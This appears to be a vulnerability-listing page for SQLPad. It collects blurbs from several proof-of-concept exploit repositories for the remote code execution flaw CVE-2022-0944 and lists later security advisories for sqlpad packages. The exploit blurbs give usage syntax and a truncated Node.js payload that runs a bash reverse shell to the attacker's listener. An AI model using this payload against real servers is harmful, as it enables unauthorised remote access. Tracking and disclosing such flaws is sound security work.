SQLPad-6.10.0-Exploit-CVE-2022-0944

SQLPad 6.10.0 Exploit CVE-2022-0944 This Bash script exploits an RCE vulnerability in SQLPad 6.10.0, allowing an attacker to achieve remote code execution RCE by abusing the host and database fields in SQLPad’s MySQL database connection settings. The exploit leverages SQLPad’s unsanitized handlin...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE Exploit This repository contains an exploit script for CVE-2022-0944 in SQLPad, a vulnerability that allows for Remote Code Execution RCE via the /api/test-connection endpoint. Overview The provided script exploit.py demonstrates how to exploit the RCE vulnerability in SQLPad. The scri...

CVE-2022-0944_RCE_POC

CVE-2022-0944 Proof of concept exploit for SQLPad RCE CVE-2022-0944 leading to a RCE with a revershell to the attackers PC. Usage usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell Example: trigger...

CVE-2022-0944

CVE-2022-0944 SQLPad - Template injection This is a blind vulnerability, meaning that the output is directly returned in the response. Exploit Use the script with the following command: python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password passwo...

CVE-2022-0944

CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

SQLPad-RCE-Exploit-CVE-2022-0944

How It Works: This PHP code is designed to exploit a Remote Code Execution RCE vulnerability in SQLPad , related to CVE-2022-0944. It works by injecting malicious code into the SQLPad application, forcing it to execute a system command that opens a reverse shell – a connection that grants the...

CVE-2022-0944

CVE-2022-0944 A proof of concept exploit for SQLPad RCE CVE-2022-0944 Usage usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password log...

CLEANSTART-2026-CK58121 Security fix for GHSA-v2v4-37r5-5v8g applied in: sqlpad 7.5.7-r2, renovate 43.123.8-r2

GHSA-v2v4-37r5-5v8g affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-YC99282 Security fix for GHSA-vpq2-c234-7xj6 applied in: sqlpad 7.5.7-r2

Security vulnerability affects the sqlpad package. This issue is resolved in later releases. See references for vulnerability details...

CLEANSTART-2026-ZC88690 Dottie provides nested object access and manipulation in JavaScript

Security vulnerability affects the sqlpad package. Dottie provides nested object access and manipulation in JavaScript...

CLEANSTART-2026-KD99457 Security fix for GHSA-r5mx-6wc6-7h9w applied in: sqlpad 7.5.7-r2

Security vulnerability affects the sqlpad package. This issue is resolved in later releases. See references for vulnerability details...

CLEANSTART-2026-ZD58711 Security fix for GHSA-w5hq-g745-h8pq applied in: argo-workflows 3.6.19-r5, sqlpad 7.5.7-r2

GHSA-w5hq-g745-h8pq affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-KM07350 This affects versions of the package bn

Security vulnerability affects the sqlpad package. This affects versions of the package bn...

CLEANSTART-2026-OA32392 Security fix for GHSA-378v-28hj-76wf applied in: sqlpad 7.5.7-r2

Security vulnerability affects the sqlpad package. This issue is resolved in later releases. See references for vulnerability details...

CLEANSTART-2026-BS82547 Sequelize is a Node

Security vulnerability affects the sqlpad package. Sequelize is a Node...

CLEANSTART-2026-KI21524 Security fix for GHSA-6457-6jrx-69cr applied in: sqlpad 7.5.7-r2

Security vulnerability affects the sqlpad package. This issue is resolved in later releases. See references for vulnerability details...

CLEANSTART-2026-OQ97884 adm-zip before 0

Security vulnerability affects the sqlpad package. adm-zip before 0...

CLEANSTART-2026-SW88277 Security fix for GHSA-xcpc-8h2w-3j85 applied in: sqlpad 7.5.7-r2

Security vulnerability affects the sqlpad package. This issue is resolved in later releases. See references for vulnerability details...

CLEANSTART-2026-FY85881 xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) `DOMParser` and `XMLSerializer` module

Security vulnerability affects the sqlpad package. xmldom is a pure JavaScript W3C standard-based XML DOM Level 2 Core DOMParser and XMLSerializer module...

CLEANSTART-2026-OS90350 xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) `DOMParser` and `XMLSerializer` module

Security vulnerability affects the sqlpad package. xmldom is a pure JavaScript W3C standard-based XML DOM Level 2 Core DOMParser and XMLSerializer module...